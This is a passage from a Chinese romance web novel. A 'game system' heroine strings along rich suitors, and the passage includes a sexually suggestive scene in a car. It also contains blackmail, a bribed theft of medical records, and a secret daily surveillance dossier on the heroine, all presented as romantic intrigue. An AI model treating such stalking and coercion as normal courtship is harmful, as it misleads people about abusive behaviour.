韶景戈对他们微微颔首,淡淡道:“就知道你在这里躲懒。不去多陪陪他们,还在这里打电话。母亲已经问了我三遍,你是不是谈恋爱了。” 韶景荻摇了摇头,从他手上接过烟头,“我刚刚和校花约定了一个游戏,哥,你记得晚上配合我一下,输了可是有惩罚的。” “适合可止。”韶景戈瞥他一眼,“你还记得我说过什么,如果我觉得过分了,会出手制止的。” 韶景荻找到烟灰缸,把烟掐灭了,扔到垃圾桶,觉得无聊,摆了摆手,“知道了~” 但一般常态的,平时最多警告一句,便会立刻失去兴趣的兄长,居然没有立刻离,反而在原地站了一会儿,“你不是说被她骗过一次吗?就算你赢了,她也可能耍赖。” 韶景荻眯起了眼,弯了弯嘴角,露出白森森的牙齿,他嘴唇红,咧着嘴,笑起来有种极端恶劣的冷漠感。 “她肯定会反悔的。不过没关系,我有办法让她践诺。” “毕竟我有她的把柄啊。”. 安蔓挂了电话,忍不住骂了一句,“有病!” 她心里略感憋屈,穿好衣服,怒气冲冲地到了病房。 她一出现,本就平静的病房里,仿佛被石子扔入水池,泛起层层涟漪。 助理换过一次,现在旁边站的是一位女助理。看了她一眼,只敢在心里悄悄感叹真是太漂亮了。 但之前分不清大小王的助理,被换下去了,前车之鉴在那里的。陪护崔英朗的工作,薪酬高,事情少,还有机会和崔家继承人混个眼缘。 她收回目光,不敢多看,小声说,“少爷,安小姐来了。” 崔英朗正在拆纱布,层层纱布,从他的头上被摘下,被一块块扔到垃圾桶。后脑勺的缝针也被拆了,只剩下一个拇指大小 的褐色伤疤,粗粝狰狞,如同蚯蚓一样扭曲着,蛰伏在他发间。 医生拆完了纱布,为他做了基本检查,测试了血压、心跳、视力等,确认了一切无误后,开了几道药,“……可以出院了,平常多注意休息,伤口处注意保养。” 崔英朗心不在焉,当起了甩手掌柜,把一切交给助理,使劲眨了眨眼,看向安蔓,又看了一眼时间,轻声抱怨,“又这么晚。” 安蔓面无表情,往他旁边一坐,气鼓鼓的样子,胸口微微起伏,皮肤白如脂玉,理都不理他,“不想说话。” 崔英朗足足等了两个小时,额头跳了跳,还要问她,“谁又惹你生气了?” 这段时间,安蔓一直心情不好,动不动就发火。第一次遇见这种情况时,崔英朗眼睛刚好,莫名其妙被人甩脸子,发脾气,还怎么问都不开口。 他脾气也不好,自小被人捧着,第一次遇到这种,也忍不住发火,指着大门就让她滚。 结果她也不争辩,也不发火,转头就走,把他气了个半死,一个人在病房里走来走去,又拉不下脸去看她。 明明他没错,莫名其妙被人发火,连说一句都不行了! 崔英朗自己气了个半死,又拿人没辙,只能抱着被子生闷气,根本不想主动和好,结果当天晚上安蔓又主动来了,娇娇俏俏的往他怀里倒,枕着他的胸肌,柔嫩的小手在他的胸口摸一摸,软绵绵哭诉,“崔少爷,真对不起,我生理期控制不住情绪。” 崔英朗被她摸了一身火气,对方主动道歉,他也不好的这个小事耿耿于怀,安蔓都留下来陪护他住院了,不能出去,心情坏一点也正常。 结果那天原谅之后,情况迅速变糟,也不知道她哪来那么多生理期,隔三差五,三天两头的情绪不好,发脾气。 每次发完了,又软软地,提着裙摆往他身上蹭,娇娇柔柔说要,“道歉。” 别人不高兴,没事,安蔓一不高兴就喜欢折腾身边的人,越亲近越要折腾。 那些助理、医生、护士、保镖,各种工作人员,她照样可可气气了,但是对着他就是无理取,各种磨人。有时颐指气使,有时又不说话甩脸子。 刚开始,崔英朗还会和她置气,冷战,但是她每次道歉,又忍不住原谅。 低声下气,做小伏低,次数太多,硬生生把他脾气都快磨没了。 “不管,就是生气!” 安蔓压抑着怒火,韶景荻那个神经,以为捏着她的把柄,就可以为所欲为了,还想出那么莫名其妙的“游戏。” 本来就因为这件事,她心情不好,现在更是烦的要命,大脑突突地痛,只能按了按额头,又叫出系统。 “烦死了,等会你帮我认他们两!” 系统小声:“啊?我吗?” 安蔓柳眉倒竖,“除了你还有谁,难道让我自己认吗?我怎么知道。” 系统想了想,也觉得头疼,毕竟书里说了,他们两个全身上下一模一样,“那你还是找他们谁身上带的烟味吧,抽烟的是哥哥,弟弟不抽。” 安蔓问了半天,还是只有这个回答,表情怏怏不快,“你叫我过来吗干嘛,这么早,韶会长兄弟的派对不是晚上吗?” 崔英朗伸手搂住她的腰,深吸一口气,劝自己不要发火,“不是你想去吗,不让你去,还要吵架。怎么现在要去了,又不高兴。” 安蔓闷闷不乐,“不知道,就是不高兴。” 崔英朗搂着安蔓,他头发毛茸茸,住院期间没有修剪,此刻稍稍有些长,遮住了他的眉眼,让他的脸上凭空多了一份阴郁。 金色的眼睛微抬,牢牢地盯住安蔓漂亮白皙的侧脸,像是狩猎后的老虎,贪婪的盘踞在猎物身侧,“车已经在楼下了,也是你说的要挑礼服,化妆。” “我知道。” 崔英朗眉眼压了压,忍着气,“那我们不去了。”他本来就不想去。 安蔓靠在崔英朗的胸口,怎么想怎么生气,“不行!”她一生气,就会头痛,难受,浑身不舒服。 以前可以蹦迪,跳伞,做极限运动。 偏偏在医院,没有排解的工具。 只能靠着崔英朗,满脸不悦,伸手揉着他的胸肌发泄。 崔英朗缺点一堆,优点也明显,他长得好,爱运动,身材好,胸肌非常发达,就算穿着病号服都盖不住。 安蔓隔着衣服,故意用力捏了捏,手下的触感软软的,手感很好。捏了几下,就被人握住手腕,崔英朗语气危险,“够了。” 安蔓根本不管,哼了一声,另一只手钻他的衣服里,肆意妄为,“不管,你捏了我的,我要捏回去。” 崔英朗浑身僵硬,绷紧了身体,额头上的青筋绽开,配合他略带狰狞的的表情,显得有点可怖。 安蔓坐在他的腿上,抬起屁股,不满,拍了拍他因为用力变硬的胸口,一语双关,“硬邦邦的。” 助理在门外敲门,“少爷,安小姐,车来了。” 崔英朗握住她的手指,举到唇边,亲了亲,声音沙哑,“别玩了,我们下去吧。” 安蔓又不高兴了,脸色垮了下来,“我不想去,心情不好。” 崔英朗深呼吸了一下,从口中吐出一口热气,压着怒火,“那你到底想怎么样?” 安蔓像是被他吓了一跳,往他的怀里缩,屁股重重的坐在他腿上,蹭了蹭,整个人依偎上去,声音楚楚可怜,漂亮的大眼睛仿佛也被吓出了眼泪,晶莹剔透,眼睛里全是他。 安蔓眼睛一垂,有点伤心,“你别这么大声,你吓到我了。” 如果她不是一边说话,一边蹭,崔英朗会更相信她的话一点。 崔英朗有时候真的拿她没办法,又生气,又冒火,只能压着火气,哑声道,“那你想怎么做。” 安蔓瞬间不难过了,嘴角勾了起来,“让他们都走,把车清空了,就我们两个好不好,安慰一下我嘛。” 他就知道,这女人想的又是那种银乱的事! 还是在车里! 这不是嫌病房里,腻味了,换个地方找刺激吗? 崔英朗闭了闭眼,浑身发烫,冒着火气,连手指都滚烫一片,“这样你就能开心?” 安蔓点头,“是啊。 崔英朗指尖微微发抖,手心出汗,口干舌燥,拿电话的时候太紧张了,居然没稳,让它从手心里滑走了一次,只能重新拿起,拨了助理的电话,“你们自己回去,车留下。” 助理为难,“崔少爷,最近外面不太安全,上面吩咐过你出门,必须随身携带保镖。你上次受伤后,崔先生和您母亲非常紧张。” 崔英朗皱眉:“我不希望有人跟着。” 助理为难,“恐怕只能这样。” 崔英朗觉得有点扫兴,“那你们换一辆车跟着,别跟我们坐在一起。” 助理尽职尽责,问道,“那谁为你开车呢。” 崔英朗握住安蔓作乱的手,警告一般,轻轻咬了咬她的指尖,引来一阵娇滴滴的“痛”。 他喉咙发紧,她这样也说痛,还各种撩拨人,那到时候真到实枪干了,不得难受死。 两个人住院期间,基本上除了最后一步,什么都做了,连床单都打湿过好几回,最后只能硬着头皮把它扔到垃圾桶。 一想起来那些混乱的日子,他耳朵一阵火辣辣的热,热意灼烧,甚至让人产生几分幻痛。 崔英朗挂了电话:“我自己开。” 好不容易搞定这事,终于等到要走了,安蔓却不满了。 她伸出手搂住他的肩膀,娇娇气气说,“好累,抱我下去好不好,少爷。” 崔英朗耳朵更热了,这么抱出去,一路上不知道要经过多少人! 他名气不小,光是一张脸,就有无数人认识,光天化日之下,这么一躺下来脸都要丢完了! 崔英朗这次不惯着她了,“起来,自己走。” 停车场很近,就在楼下。 不需要怎么走,过一遍走廊,下了电梯就到了。 安蔓却不干,扭着腰躺在床上,娇娇弱弱地看着他,嫣红的嘴唇微微张开,眨着眼抱怨,“崔少爷,你知道的,我体力差,需要留到关键的时候用。现在累了,等会就没力气了。” 崔英朗喉咙滚动,一阵干涩,裤子紧绷绷的,有点难受,自暴自弃暴躁道,“不要说这种话了,抱你就是了!” 他一弯腰,一只手托起她的双腿,另一只手搂着她的脖子,轻轻一用力,就将人抱了起来。抱起来之后才发现,安蔓很轻,非常瘦弱,细胳膊细腿的,身上没什么重量。 忍不住道,“多吃点。” 安蔓不高兴了,搂着他的脖子,掐着他的腹肌,双腿在空中一晃一晃,质问,“你什么意思,你说我太瘦了吗?” 崔英朗把人抱出病院,走廊里全是保镖,还有过往的医生、护士,助理瞠目结舌在后面瞪着他们,一堆视线把他看的后脑勺发热! 他咬着牙,倍感耻辱,只觉得脸都丢尽了,快步走进电梯,才抽出功夫,用眼睛在安蔓身上扫了扫,“瘦。” 不过该有肉的地方,都有,还不少。 这个念头一出来,他就想在电梯里,狠狠地撞一撞脑袋。 怎么思路都被这个女人同化了,老是往瑟琴的地方走。这样下去,早晚会 变成变态!色情狂! 安蔓更不高兴了,“下了床就不认人,是吗。现在嫌我瘦了,之前不是玩的很开心吗?呵,男人。” 她扭了扭腰,嘲笑,“那你倒是你别抵着我啊。” 崔英朗整张脸红的冒烟,恨不得掐着她的脸,把嘴封上,偏偏又腾不出来手,只能哼哧道,“不瘦,刚刚好。” 幸好这是直达电梯,一路上不会上人,助理和保镖们坐的是下一趟,不然真的是把脸都丢光了! 崔英朗一出电梯,立刻忍不住了,抱着人直接往车上,把人放在副驾驶座上。终于等了两个人都上了车,锁了车门,他才长出一口气。 安蔓完全没体会,他这一路上的艰辛,反而还催促着,“快点,快把车开出去,找个没人的地方。” “知道了,别催!”崔英朗暴躁地按了按耳朵,浑身是火,一脚油门,将车猛然冲出停车场,一路驰骋。 东拐西拐,终于开到一个没人的地方,刚刚将车停稳,拉上手刹,安蔓就跨坐过来。 她穿着一条浅粉色的吊带裙,胸口缀着两点殷红的蓓蕾,皮肤在车内白的发光,脸上还是带着一点烦躁,随手扯着崔英朗的衣摆,解了两个扣子就不耐烦了。 她真的很生气,很不高兴,非常需要发泄的方法,而发泄的工具现在就在眼前。 安蔓顶着一张冷淡漂亮的脸,嘴巴里说的是不堪入目的话。 “哥哥,把扣子解开好不好,我想看一下你的胸肌。” “你身材怎么练得这么好,浑身都是肌肉,平时运动量一定很大吧。” “刚才把我一抱就抱起来,真厉害,对了,那个姿势,你能维持多久啊。” “够了!”崔英朗听的整个人都热了起来,羞耻的脸色通红,只想用什么东西,把她的嘴严严实实堵上。 他食指微颤,自暴自弃地解开了扣子,衬衫彻底敞开,一览无余,暴跳如雷,“别说了,等会他们追上来了。” 安蔓软绵绵地靠上去,嘲弄,“你居然害羞这个。” 保温杯被覆盖的很紧,需要拉开拉链,把外面的布料扯下来,才能彻底拿出来。崔英朗家的保温杯,不知道是什么材质的,质量很好,沉甸甸的,一大条。 崔英朗咬着牙,“难道你想被人围观吗?” 安蔓说:“反正是单向可视玻璃,又看不到。” 她轻笑道,“你不觉得这样更刺激了吗?” 崔英朗额头青筋微跳,这都是什么变态的嗜好。 他不喜欢被人看着,完全没有那种奇怪的想法。但是被安蔓这么一说,保温杯都忍不住跳了跳,“别乱说。” 助理和保镖们,不过是往下来了一趟,走出电梯,就发现崔英朗把车开走。一群人顿时心急如焚。 崔英朗身份尊贵,看护起来固然收益不菲,但万一出了什么事,他们一群人都走不脱! 于是紧急调用一辆车,总算将所有人都带了上去,一路调取车上的gdp定位,跟了上去。 好在崔少爷的车没有开多远,最终停在了一片远郊。助理找到了人,刚想把车开过去,却突然顿住,紧急打手势,让所有人停在10米开外,远远等着。 她不敢看了,搓了搓脸,余光还是忍不住瞄了一下。 崔英朗开的那辆车,保密功能很好,外面完全看不到里面。开始平静,后面隐隐约约地,晃动起来。 第70章 第70章通关 70. 小车开始不晃动,后面慢慢晃起来,晃的越来越厉害。 安蔓出了汗,头发湿了,睫毛更是湿漉漉的黏在一起。 她雪白的脸湿漉漉的,白皙中透着一股嫣红,本来这么折腾一通下,应该轻松了。 但是现在更不高兴,伸手锤在他胸口,“混蛋,为什么不做到最后!” 崔英朗整个人也出了汗,浑身热气,却一动不动,按着她的腰,压着嗓子,“别动。” 安蔓看见他的保温杯直愣愣在旁边拄着,很不顺眼,伸手打了一下,推到一边,流出了水。 她很不高兴:“为什么中途停下了。” 崔英朗浑身一颤,脸色烫的吓人,喉结滚动,拼命忍耐着,“还不到时候。” 安蔓更不爽了,怎么这样,基本上,两个人除了最后一步,崔英朗除了舔她,该做的都做了。 但是他这个人,有点莫名其妙的固执,就是不肯做到最后一步! 不上不下的,和吊的人有什么区别? 安蔓踩了一脚保温杯,面无表情,“那你说什么时候合适。” 崔英朗忽然低下头,不知道想到了什么,他的耳朵又红了,声音低了一点,“至少订婚吧。” 安蔓:“……” 安蔓瞬间闭嘴了。 她莫名其妙听出了一股被逼宫,要名分的味道,瞬间心虚起来。 她悄悄打开了系统。 [崔英朗当前好感:90] 经过安蔓这段时间持之以恒的折磨,终于把好感都刷上了90,再加把劲,就能成为第1个攻略成功的角色。 这也意味着他的占有欲无限膨胀,非常危险。 崔英朗一见她的闭嘴,忍不住竖起眉毛,抬起她的下巴,指尖轻轻摩挲她嫣红嘴唇,危险道,“怎么不说话了?” 他心口一冷,一阵气闷。 他就知道这个坏女人,不安好心,一到重要话题,只会逃避! 刚刚又生气又娇蛮,现在又闭嘴了,前后之反差,总给他一种骗身骗心,骗完就走的感觉。 “怎么又不说话了。”崔英朗咬牙切齿。 安蔓咳嗽一声,手指拍着他的胸肌,若无其事看向窗外,娇滴滴地撒娇,“哪有啊。” 她转移话题,“时间也不早了,崔少爷,我们赶紧去选衣服吧~” 崔英朗却不肯罢休,毛茸茸的头顶垂了下来,金色的眼睛一眨不眨,死死咬住了她是每个动作,“不要转移话题。” “哪有。” 安蔓攥起拳头,轻轻捶了他的胸口。软的,居然挺有弹性,她忍不住又捏了一会,才弯起嘴角哄人,“你总要给我考虑的时间嘛。” 崔英朗握住她的手指,按在胸口,“多久。” 安蔓翻了一个白眼,娇滴滴抱怨,“怎么能逼问女孩子这个问题呢,你让我再想想嘛,崔少爷。” 崔英朗又盯了她一眼,过了一会儿,才移开目光,轻嗤一声,“先放过你,下次就没那么走运了。” 安蔓装傻,“好吧,我们快去选衣服吧。” 崔英朗穿好衣服,重新开车,冷哼一声,量她也不敢跑。 本来这次派对,他根本不想答应去,但是后面改了主意,不是因为安蔓发脾气,而是想跟所有人宣誓主权。 等把她身边那群乱七八糟的狂蜂乱蝶,赶走了,再和她慢慢算账。 小车启动,这次的目的地是一家高级时装店。 两个人选了几套 服装,安蔓还买了几套搭配的珠宝,崔英朗不把他的钱当钱,她也点不心疼,使劲花。 购物、化妆,又花了几小时,到达韶家的时候,天已经黑了一半。 韶家庄园的草坪上,星星点点亮起了灯,灯光连成了一片,草坪上一半的人在烧烤,香味熏天。另一半的人在打赌、游戏,有个男生输的脱光衣服,只能狼狈的裹着薄毯,另一个表情狰狞,正在痛苦地往嘴里灌酒。 门口警卫礼貌说,“请出示请柬。” 助理走上前,向他出示。 警卫说:“一个请柬只能带一个人。” 崔英朗挥了挥手,搂着着安蔓,“就我和这位小姐。他们在外面等着。” 警卫放行了,崔英朗开车进去。 停好车,崔英朗就搂着安蔓的腰下来。 两个人一出现在人群中就掀起了轩然大波,许多人都围了过来,笑嘻嘻地和崔英朗打招呼。 “崔少爷来了,难得一见啊。” “好久不见崔少爷,等着你过来喝酒噢。” “滚蛋,崔少爷这种情况是能喝酒的吗?” “英朗哥,恭喜归来,风彩不改。” 崔英朗敷衍地应了几句,勉强赏人几个好脸色,搂着安蔓四处转了转。 一群人精,眼光利的不行,早看出来了,他旁边的人是谁。 能够收到邀请函的人,大多非富即贵,人群和狩猎日猎手重叠大半,有机灵的,话锋一转,开始恭维安蔓。 “校花小姐好久不见。” “安小姐,真漂亮。和崔少爷站在一起真登对啊。” 也有人忍不住一言不发,安静地站在旁边,沉默而专注看着她的脸。 目光晦涩难言,略带不甘。 【叮。】 【当前声誉:你吸引了许多人的注意,】 【当前声誉:有人为你的倾目欣喜。】 安蔓耳朵里突然冒出系统冷冰冰的声音声音,她都差点忘了这件事,被突然提醒,才想起来有个公投。 这玩意儿怎么还没结束!! 等崔英朗搂着她,在有人的地方都转了一圈,她终于忍不住问出这个问题,“崔少爷,你知道一般什么时候公投吗?” 崔英朗愣了一下,隐约想起安蔓身上还有这件事。 “投票一般没有固定时间,都是大家约好了,选一个时间点。”他不甚在意,挥了挥手,“不用担心,这件事我会帮你。” 安蔓松了一口气。 接下来要担心的是,是韶家兄弟,该死的‘猜猜我是谁’游戏。 她不知道就两个人在哪,找了个借口,“崔少爷,我去上厕所。”轻松脱身了,然后一路问人。 终于,被一位风纪会的成员指点了方向,“会长在那。” 安蔓点头道谢,提起裙摆跑过去,终于在一个烤架边,看到了一个影子。 他穿着白西装,挺拔俊秀,面容沉静,皮肤在灯光下显得白皙而柔和,指尖翻动烤串,刷上蜂蜜,撒上调料,熟练地烤好一串装了起来。 看到她,怔忪了一下,最后斯文一笑,彬彬有礼,“安小姐来了,欢迎,吃烧烤吗?” 安蔓目光死死的扫视,对方身上的每个角落,试图从他身上发现端倪,找出这到底是哥哥还是弟弟,“韶景荻?” 对方愣了愣,随即一笑,十分亲切,举手投足间,文雅柔和,有种金玉堆砌起来的奢侈质感,“你找他吗,他不在这里。” 安蔓看着他手里的烤串,笃定道,“别装了韶景荻,你哥可不会做这种事!” 对方却忽然困惑的皱了皱眉,目光审视地扫了过来。 他停顿了几秒,然后才开口,“景荻上午,确实跟我说了,你们打了一个赌,就是赌这种事吗?” 安蔓笃定:“别装了!你演的一点都不像。” 对方几不可查地蹙了蹙眉,像是对她不感兴趣,略略有些不耐烦了。 但俊雅的脸上,仍然是一副彬彬有礼的样子,“你要找他吗?我带你去。” 安蔓:“……”不好。这是真的分辨不出来。 她忽然有点头痛,本来就烦,遇到这种事更烦了,干脆不管不顾,直接向前一步揪着他的衣摆,假装发火,实则轻轻嗅了嗅。 他的站在上风口,烧烤时身上没怎么沾上味,细细一闻,居然闻出一点淡淡的烟味。 安蔓:“……”认错人了。 她松了手,一下子不感兴趣了,打算转头就走,手腕却突然被抓住,韶景戈站在她的身后,手指在夜风中有点发凉,将她的手腕抓的牢牢的。 “什么事。” “安小姐。”韶景戈斟酌开口,“算了,正好你在这里,我想问你一件事。” 一确定找错人,安蔓一下子也没兴趣了,她闷闷不乐,“说。” “你愿意和我在一起吗?”韶景戈彬彬有礼,声音在夜风中居然有点凉凉的。 安蔓怀疑自己的耳朵:“什么???” “这很奇怪吗?”韶景戈却反问。 安蔓深吸一口气:“这不奇怪吗?” 韶景戈略带歉意,“是因为太突然了吗。” 安蔓被他一句话打的有点懵:“你觉得呢!” “确实很突然,但我办事不喜欢拖,所以一想到就直接来问你了。” 安蔓感觉有点头晕了,“为什么。” 韶景戈却突然笑了一下,一板一眼,徐徐诉说理由,“第一,是因为我弟弟过分迷恋你,他从小身体不好,容易玩物丧志,我不希望他在你身上投入过多的精力。我们兄弟关系很好,如果你跟我在一起,他会自动放弃。第二,则是我的私人原因,如果你稍微了解一点,就知道我和他的喜好一模一样。他喜欢的东西,我同样喜欢。第三……是因为我不是韶景戈。” 握住手腕的手指,微微用力,背后的身体贴了上来,他呼吸很热,低着头,说话的时候正对着安蔓的耳朵,忽然哈哈大笑起来。 “弄错了,第一次,”韶景荻笑嘻嘻地开口,“甜心,你运气真不好,你应该坚定你的选择。” 安蔓:“……” 韶景荻松开了手,退后一步,背着光,对她眯起了眼睛,手指在唇上一点,朝她飞吻,“真可惜,一次机会就这么结束。” 安蔓震撼的说不出话来:“你有病吧!” 韶景荻眯起眼睛,哈哈大笑,“兵不厌诈,游戏就是游戏呀,我先走了,期待你第2次认出我。” 他转身就走,毫不停留。 走的时候还不忘拿出自己烤的几盘串,小心翼翼的装在盘子,问她,“你吃吗?” “滚。” “别生气呀。”韶景荻露齿一笑,“再接再厉噢。” 安蔓真的头一次这么无语,被这对乐子人乐到了,她无语地吐出一口气,突然泄愤地跺了跺草坪,“有病吗!” 她对韶景荻,此刻出奇地生气,第一次这么烦一个人。 戏弄别人的时候是很开心,但是自己成为被戏弄的对象,还被人知道了秘密就令人不爽了。 安蔓在原地深呼吸了几下,往回走,手机震动不修,她打开一看,崔英朗在问她在哪。 安蔓发了一句:[走错了,这里太大了,现在来找你。] 把人敷衍过去之后,她往回走,心里还是不高兴,但是被冷风一吹,冰冰凉凉,整个人忽然又冷静下来。 韶景荻固然恶劣,但他不会突然提出无关游戏,除非能认出他,对他而言有着重要意义。 他的好感害焊死60很久了,那是一种比朋友略高一点,远远及不上爱情,只能算得上感兴趣程度的好感。 这也是一个机会。 她停下往回走的脚步,顿了顿,迈开腿,朝着韶景荻刚刚离开的方向走去。 越走眼前,灯光越多,人也越多,泳池边,池水波光粼粼,在夜灯的照射下仿佛美丽的蓝宝石。旁边三三两两的视线看了过来,一阵窃窃私语。 安蔓无视了目光、搭讪,穿越人群走进韶家的宴会厅,里面正爆发一阵大笑。 砰。缤纷的礼花从天空纷纷降落。 “切蛋糕!切蛋糕!切蛋糕!” “韶会长我也要!”“我在这!” “哈哈哈!生日快乐会长!” 一群穿着制服的人挨挨挤挤,安蔓发现他们穿的都是风纪会的制服,她似乎走进了风纪会成员的聚会现场。 一群人涌动着,热闹着彼此交谈,往前方挤。前面吃到了蛋糕的人,很默契的推开,让出一条道路。 安蔓顺着人群中向前挤,她看到了韶景荻的身影,他身边放着烤串,装的彬彬有礼,手持着蛋糕刀,正在装腔作势地帮人切蛋糕。 她挤到对方旁边,掐着甜腻腻的嗓子,跟着风纪会的成员喊,“会长,我也要。” 韶景戈停顿了一下,抬起头,看了她一眼。 他温和的脸上一瞬间失去了笑容。 韶景戈深灰色的瞳孔,没什么情绪,凉凉的在他身上扫了一圈,下一秒,嘴角重新挂上温文尔雅的微笑,“你不是风纪会的成员,没必要叫我会长。” 安蔓眨着眼睛,楚楚可怜,矫揉造作地撒娇,“那可以要一块蛋糕吗,哥哥。” 韶景戈平静的深灰色瞳孔,扫过安蔓的身体,她今天穿了一条油画紫的缎面抹胸长裙,露出了白皙漂亮的肩脊,靠的越近,越能看清她的脸,白皙的脸,浅淡的唇色,漆黑柔软的头发。 她从格格不入的出现在风纪会的成员中时,就引起了一阵骚动,所有人明里暗里打量着她,只有她自己恍若未觉。等到安蔓停留在旁边时,更多的目光交缠地叠了过来,我自觉的跟随着、追逐着。让人心烦。 韶景戈风度翩翩地笑了,“当然可以。” 他拿起蛋糕刀,挑选了一块,点缀着草莓巧克力的部分,切了下来装到纸盘里,递在安蔓手中,“送给你。” 安蔓接过蛋糕的同时,握住了他的手,指尖和他凉冰冰的手指交叠着,凑近了,她能闻到一股淡淡的烟草味。 她心微微冷笑,声音却掐得更软了,柔情似水。故意握住他的指尖,“韶会长,这就是你给我的礼物吗?我有点失望。” 韶景戈缓缓低下头,注视着自己被抚摸的手背,又抬起眼,看着他的脸。 安蔓惊慌:“抱歉,我失礼了是不是,真是太没礼貌了。” 她顺着对方的目光低头看到两人交握的手上。表情一下子慌张起来,赶紧松了手,结果手松的太快,没握住蛋糕,不小心把它打翻了。 蛋糕啪地掉在地上,精准地落在韶景戈的皮鞋上。 安蔓啊了一声,手忙脚乱,连声抱歉,“真是太不好意思了,怎么弄到你鞋子上了呢?唉,我真是笨手笨脚的。” 韶景戈沉默一下,难得都说不出话来,“……” 安蔓施施然收回手,在旁边抽了一张纸巾,慢悠悠地擦拭手背,清凌凌的冷淡面容上,突然浮现出一个恶劣至极,“太可惜了,真抱歉,我本来以为会落在你衣服上的。” 韶景戈淡淡问:“这是你道歉的方式?” 安蔓眨了眨眼,拍了拍手,“行了,韶小狗,你以为你装的很像吗?快点结束这个游戏吧。” 韶景戈若有所思,“原来你平时都是这么叫他的。” 安蔓不耐烦了,“好了,别装了,我们结束这场游戏吧。都说了等我认出来,你就做我的狗。” “……”韶景戈停顿一下,“这是你们的惩罚?输家做狗?” 安蔓催促:“好了,别装了!太无聊了。” 韶景戈:“……” 安蔓:“……别装了。” 韶景戈:“……” 安蔓:“……你在装吗。” 韶景戈忽然除了扯嘴角,没什么笑意的笑了起来,他按了按额头,像是觉得有点头痛,手背的青筋一点点绷了起来。 “真有意思,我都不知道我弟弟喜欢玩sm!”他抬手,叫了个名字,“张极,过来。” 有个背着摄像机的男生,跑了过来,满脸困惑,“会长,怎么了?” 韶景戈深灰色的瞳孔里沉淀着冷意,依旧文雅礼貌,只是寒意凉透眼底,“你告诉她,我这一小时都在哪里。” 男生挠了挠头,看了一眼安蔓,有些害羞地移开目光,“会长一直在这里。” 安蔓:“……” 她眼皮跳了一下,笑容在眼中一点点变冷,消失,微笑还挂在唇角,显得有些皮笑肉不笑。 “不好意思。”她深深吸了一口气,不想参与这对兄弟的无聊游戏了,招呼也懒得打,很没礼貌,转身就走。 世界上怎么会有人连续两次认错! 她的额头更痛了,大脑突突的跳,浑身血液逆流,被自己气笑了,手机又颤动了一下,崔英朗发来了好几个信息。 她没有看,把手机放在口袋里,在韶家的房子里乱走,眼前又晕又黑,分不清真假。 这是她第二次来到这里,上一次只是匆匆略过,这次才勉强静下心来打量周围的场景。 地面是软绵绵的羊毛地毯,墙上挂着昂贵精致的油画,大多以宗教为题材,落笔精致华贵。 也有少部分人物像,应该是韶家的祖辈,长相和韶家兄弟有点相似。 安蔓又看了一会儿,就被一个声音叫住,她觉得这道声音有点耳熟,忍不住回头一看,“江淮盛?” 江淮盛松了一口气,他从外面就看到安蔓的背影,可惜韶家内部结构错综复杂,一路跟着走来,差点走丢,以至于现在才找到,他喘着气,“找到你了。” 安蔓没什么心情,“你有事吗?” 江淮盛苦笑,他现在看起来,可比上次狼狈的多,精致的脸上出现了浅浅的黑眼圈,因为睡眠不足加上奔波带来的疲惫,让他的脸色有些憔悴,“我想请你帮忙。上次我帮了你,希望你这次能够帮我个忙。” 安蔓脚步不停,心不在焉,“你先说有什么事。” 江淮盛苦笑,跟上去,“很简单,我希望你能帮我和江赫,求情。” 安蔓好久没听到这个名字,乍一下有点恍惚,“求情?” “没错。” 江淮盛轻轻从口中吐出一口气,他这段时间,过得一点也不好,可以说非常糟糕,脸上的气色也没了前段时间主持狂欢日的神采。 上次重重摔了一跤,生病加上休息不足,还有被打压带来的狼狈,让他倍感不堪,不愿意在女生面前暴露出自己的狼狈,但是想到自己的来意,还是只能一咬牙,“江赫那个神经病,太狠了!他这段时间疯了一样,拼命打压我,我已经走投无路了!” 安蔓这眨了眨眼,她记忆还停留在,江淮盛这个私生子风光无限,和江赫争锋,“你要我怎么帮你?” 江淮盛深深地看着她,他其实最开始在这位校花小姐,出现在江赫身边时,就把她调查了一遍,想要从中找出江赫的弱点。 他私底下调查了很久,刚开始以为江赫是喜欢她的美貌,毕竟这位小姐长相确实非常漂亮,足以动人心魄,但是后来又渐渐觉得不对。总觉得两人之间应该有更深的联系。 他一路调查到了医院,买通住一位住院医生偷取病例,没想到事情才刚刚成功,就被江赫发现了,更糟糕的是病例只有明面上的内容。 从那以后,原本一向无视他的江赫,仿佛被触碰到了底线,开始疯了似的对他疯狂打压。直到江赫为亲自动手,他才感觉到了压力。 江淮盛:“我想你去见他,然后替我劝他,我愿意让出名下部分股份,从此马首是鞍,做他助手。” 安蔓眼皮翻了翻,兴趣寥寥,神态冷漠,“上次的事情是你自作自受,后面是我聪明,自救了,和你有什么关系。” 她走了几步,身后的脚步却跟了上来,又执着又烦。 江淮盛冷笑,“我可是为你受了伤,在医院里,躺了足足半个月,你就一点情面都不给?” 安蔓头也不回,“滚蛋。” 江淮盛跟了上去,有点不干,不管是上次狩猎日的失败,还是在职场上的失利,都让他感觉出奇的挫败,原来以为他和江赫有一争之力,到后面才发现对方竞争对象根本不是他——而是他后面的江父。 这是他们父子之间的权利之争,而他一个私生子,倒霉闯了进去,不管是谁胜利了,最后也只沦为炮灰,他突然冷冷一笑,“你以为江赫是什么好人吗!你觉得他会放过你吗。” 安蔓更加莫名其妙,“关我什么事啊。” 想起江赫,她就忍不住一阵不悦。 这个男人太过分了,连小三都不愿意做! 不像崔英朗,能屈能伸,手段灵活。 江淮盛跟在她身后抹了一把头发,脸色郁郁,“我知道你现在和崔少爷在一起了,但你以为江赫这就放弃了吗?他是一个很有耐心的人,他曾经为了报复一个欺辱过他的高层长辈,花了4年的时间布局,只为了把他拉下马。你以为你被崔少爷抢走了,他就会善罢甘休吗?” 他想起 自己,潜入江赫书房里看到的东西,抿了抿唇,一阵恶寒。这个死变态,看起来清心寡欲,什么都不在意,一副脱离世俗的样子,但他被打击报复就是一个个最好的证明。 这人压根不是真的冷淡,只是将内心的情绪深深的压在心底,他曾经派人潜进对方的书房里,想要窃取文件,最后却一无所获,反而在他的书房里看到了另一样东西。 安蔓的调查报告。 分日期,分了时间,上面还附带了照片,详细记录了她每天从早到晚的日程,她到底做了什么事情。前面是行为,后面则是密密麻麻的照片,全部附在一个档案里,被这人压在桌中。 从档案里的折痕来看,江赫并非从没看过,相反,他似乎时不时拿出来翻阅。报告每日更新,他想不出,江赫到底是从哪里找的人,从哪里获取的这些信息只感觉,一阵发寒。 安蔓看了一眼时间,加快脚步,向通道外走,嫌恶道,“你说够了没有。” 江淮盛皱眉,“我知道他的很多事,我可以跟你交换,只要你帮我这个忙……” 安蔓抓快了脚步,想甩掉这个狗皮膏药,被他黏锲而不舍的样子恶心到,只想赶紧走到有人的地方,摆脱他。 